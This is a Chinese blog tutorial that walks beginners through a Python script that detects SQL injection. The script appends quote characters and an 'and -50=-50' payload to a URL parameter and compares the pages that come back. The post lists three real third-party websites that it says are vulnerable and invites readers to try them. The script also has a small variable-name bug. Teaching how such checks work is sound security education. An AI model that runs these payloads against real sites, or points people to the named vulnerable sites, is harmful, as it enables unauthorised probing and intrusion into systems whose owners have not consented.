PHP编写poc,代码实战/萌新如何编写sql注入的poc
一前言:
我去年十月份挖洞挖着就挖到0day了,然后发现18年就被人提过了,内心复杂然后我昨晚闲着无聊,就写个poc,随缘,见一步写一步,哈哈~
这里首先介绍一下什么是poc,poc就是指验证网址存在漏洞的一个pyexp是漏洞利用简单的描述一下,咳咳~~
正文:
二如何编写?
http://www.aminotp.com/newsdetail.php?id=6http://haihengpharm.com/newsdetail.php?id=8http://crstpharma.com/newsdetail.php?id=3我拿出这三个网址,来判断poc也只是代替一下手工的,所以我们先手工看一下sql注入的回显
我们可以看出,加个双引号报错了这个信息,
and -50=-50没有报错,这就可以看出区别了
开始编写import requestsimport timefrom argparse import ArgumentParser
首先调用这3个库后面会讲为什么关于argparse模块可以看.这篇文章:https://www.jianshu.com/p/65b9e2f51940
第一步:
看到上面,我们可以使用单引号,双引号来判断是否报错arg = ArgumentParser(description="test.py -u http://www.xxxx.com/news?id=1")arg.add_argument('-u', help='target URL', dest='urls', type=str)url = arg.parse_args()payload = ["%27","%22"]
首先,我们要使用argparse模块,使用命令行来。
这一块代码:
第一句:首先是创建命令行解析器句柄,并自定义描述信息,以及如何使用。这就是脚本中的-h
如何就是我们的命令,-u ,help参数就是 目标的url,如何
第二句 可以看这篇文章如何就明白了里面参数是什么
https://blog.csdn.net/qq_36653505/article/details/83788460
第三~四句 是返回一个命名空间,然后我们就是单引号和双引号的一个payload检测
第二步:def poc(): for payloads in payload: tg_host = url.urls + payloads test_1 = requests.get(tg_host) a = str(test_1.text) if 'mysql_fetch_row()' in a: if payloads == '%22': print('[+] The first stage test is successful!') print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability") tg_host = url.urls + "+and+-50%3d-50" scan_1 = requests.get(tg_host) scan_2 = requests.get(url.urls) text_1 = scan_1.content text_2 = scan_2.content if text_1 == text_2: print("[+] The second stage test is successful!") print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability") print("[*] URL: %s"%url.urls)
我们定义一个函数,然后使用for循环遍历payload,至于url.urls 就是调用的方法,接受用户传参print(url)print(url.urls)
我们可以这样看一下,就可以看出了这2个区别。就知道怎么调用了,当然,也可以使用sys模块来.我们就先看一下for循环是啥for payloads in payload: tg_host = url.urls + payloads test_1 = requests.get(tg_host) a = str(test_1.text) if 'mysql_fetch_row()' in a: if payloads == '%22': print('[+] The first stage test is successful!') print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability")
然后就是请求传参,然后再.text,返回页面信息
发现报错,出现了这个报错信息,和上面的那个图片一样,这样的话我们就可以使用str()强转为字符串。强转后再判断这个报错的函数 是否在这个返回的字符串中
然后再if判断,当这个单/双引号判断后,就会输出 第一个阶段测试成功,如果不成功的话,就输出可能出现了错误等等,因为我英语自小就不好。
所以就英汉互译下~~~
如果网站不存在的话,也可以编码下,返回一下页面(当然,不是图片啥的),也可以直接pass掉
第三步:tg_host = url.urls + "+and+-50%3d-50" scan_1 = requests.get(tg_host) scan_2 = requests.get(url.urls) text_1 = scan_1.content text_2 = scan_2.content if text_1 == text_2: print("[+] The second stage test is successful!") print('[+] Url may be vulnerable!') else: print("[-] Payload appears to have made a mistake, or there is no vulnerability") print("[*] URL: %s"%url.urls)
这段代码依然如此,拼接了 and -50=-50 的编码然后再请求,2个,一个是拼接了 -50=-50的参数。一个是正常的url
输出后就是这样,然后我们在使用content来判断 两个页面传回来的是不是也要,一样的话就输出那串英文。然后最后再把url输出
第四步:if __name__=='__main__': sta = time.time() poc() end = time.time() run_time = int(end - start) print('漏洞探测耗时:', end='') print(run_time, end='') print('s')
然后if name==’main‘:
就是程序的入口,也就是说从这边开始,调用哪个哪个
首先设置一个开始的时间
sta,然后再设置个结束的时候end
然后结束的时间减掉开始的时间,就是我们执行的时间
三文末
这也是我昨天无聊,然后想玩一玩写的一个。
大佬勿喷
分享一个思路,poc和exp不一样
同理来说,poc只是验证漏洞的存在。
所以poc不是很难写,只是缺个思路(除非非常难理解的漏洞,只要理解漏洞原理就好)poc只是代替手工。所以可以先试下手工一下。
然后再看一下如何使用代码实现的这是运行结果:然后开头我附带了几个网站给各位大佬玩玩我已经提交过了,大佬们也可以再找找。
(如果觉得不咋地的话,请轻点喷)
本文标题:代码实战/萌新如何编写sql注入的poc
本文链接:https://www.toobug.cn/post/1064.html
作者授权:除特别说明外,本文由 toobug 原创编译并授权 TOOBUG信息安全网 刊载发布。
版权声明:本文不使用任何协议授权,您可以任何形式自由转载或使用。
用TOOBUG官方小程序阅览更加简洁
PHP编写poc,代码实战/萌新如何编写sql注入的poc相关推荐
- Ant Design Pro of Vue方案一权限路由配置(一步步完成,包括所有后端数据库代码,萌新向)
Ant Design Pro of Vue方案一权限路由配置(一步步完成,包括所有后端数据库代码,萌新向) 参考了许多csdn的文章,感谢大家为社区做的贡献,我也来汇总一波,谢谢
- sql注入pythonpoc_python poc是什么
如今,PoC 的编写在我们安全研究团队是每个人必备的技能之一.那么,PoC是什么呢?我们应该如何优雅的来进行编写? 0x00 我们需要掌握的几个的概念 PoC(全称:Proof of Concept) ...
- PHP之SQL防注入代码,PHP防XSS 防SQL注入的代码
360提示XSS漏洞?这个XSS漏洞很不好修复.....如果是PHP程序的话,可以用下面的代码来过滤... PHP防XSS 防SQL注入的代码 class protection{public stat ...
- CNVD-2023-12632 泛微e-cology9 sql注入 附poc
目录 漏洞描述 影响版本 漏洞复现 漏洞修复 众亦信安,中意你啊! 微信搜索:众亦信安,回复关键字:230317 领批量检测脚本. 声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如 ...
- 使用CodePen编写react代码
开篇题外话: CodePen是一个在线编辑前端代码的网站,对于前端小白来说非常好用,除了可以同时编辑html.css.js之外,可以实时的看到编写网页的样子,真的很方便. CodePen网站链接:ht ...
- 防sql注入 php代码,完美的php防sql注入代码
一款比较完美的php防sql注入代码,很多初学者都有被sql注入的经验吧,今天我们来分享你一款比较完整的sql防注入代码,有需要的同学可以参考一下: /************************ ...
- php防sql注入什么函数,php防止sql注入漏洞过滤函数的代码
php防止sql注入漏洞过滤函数的代码 php的整站防sql注入程序,在公共文件中require_once本文件即可,感兴趣的朋友可以参考下. 复制代码 代码如下: //PHP整站防注入程序,需要在公 ...
- 《机器学习实战》萌新读书笔记 ② — — 第三章 决策树 内容提要、知识拓展和详细注释代码
目录 引入: 什么是决策树? 决策树相较KNN的优势? 决策树的运作方式? 决策树模型的优缺? 决策树的构造: 构造思路 信息增益 划分数据集 递归构造决策树 绘制决策树树形图 Matplotlib注 ...
- python手机版做小游戏代码大全-Python大牛手把手教你做一个小游戏,萌新福利!...
原标题:Python大牛手把手教你做一个小游戏,萌新福利! 引言 最近python语言大火,除了在科学计算领域python有用武之地之外,在游戏.后台等方面,python也大放异彩,本篇博文将按照正规 ...
- react 改变css样式_web前端入门到实战:编写CSS代码的8个策略,资深开发工程师总结...
编写基本的CSS和HTML是我们作为Web开发人员学习的首要事情之一.然而,我遇到的很多应用程序显然没有人花时间真正考虑前端开发的长久性和可维护性.我认为这主要是因为许多开发人员对组织CSS / HT ...
最新文章
- 老码农绝密:使用 TS(TypeScript) 的 10 大理由
- php模块介绍,Python模块介绍
- 文件夹差异文件对比工具 meld
- mysql从一张表更新另外一张表_MySQL 从一张表update字段到另外一张表中
- Gitlab禁用Gravatar头像
- Ooredoo卡塔尔项目UNIFY:基于NFV的基础设施转型
- homebrew mysql conf_homebrew 安装mysql后,如何配置mysql
- 如何自定义一个异常类
- 每日英语:Why Food Companies Are Fascinated by the Way We Eat
- Codeforces 990G 点分治+暴力
- c语言编万年历算法,C语言编万年历
- 入侵服务器的一种方法
- 抢购软件使用方法(如何开发抢购软件)
- web开发工程师面试题,CSS盒子模型居中方法
- PS怎么调整字体的行间距
- JQuery实现 任务清单案例
- python中字典的常用函数_Python字典(Dict)详解 - 常用函数详解
- 超火的微信小说小程序源码+比较轻量级/UI不错
- 旧版本CUDA下载路径
- RT-Thread学习笔记(9):邮箱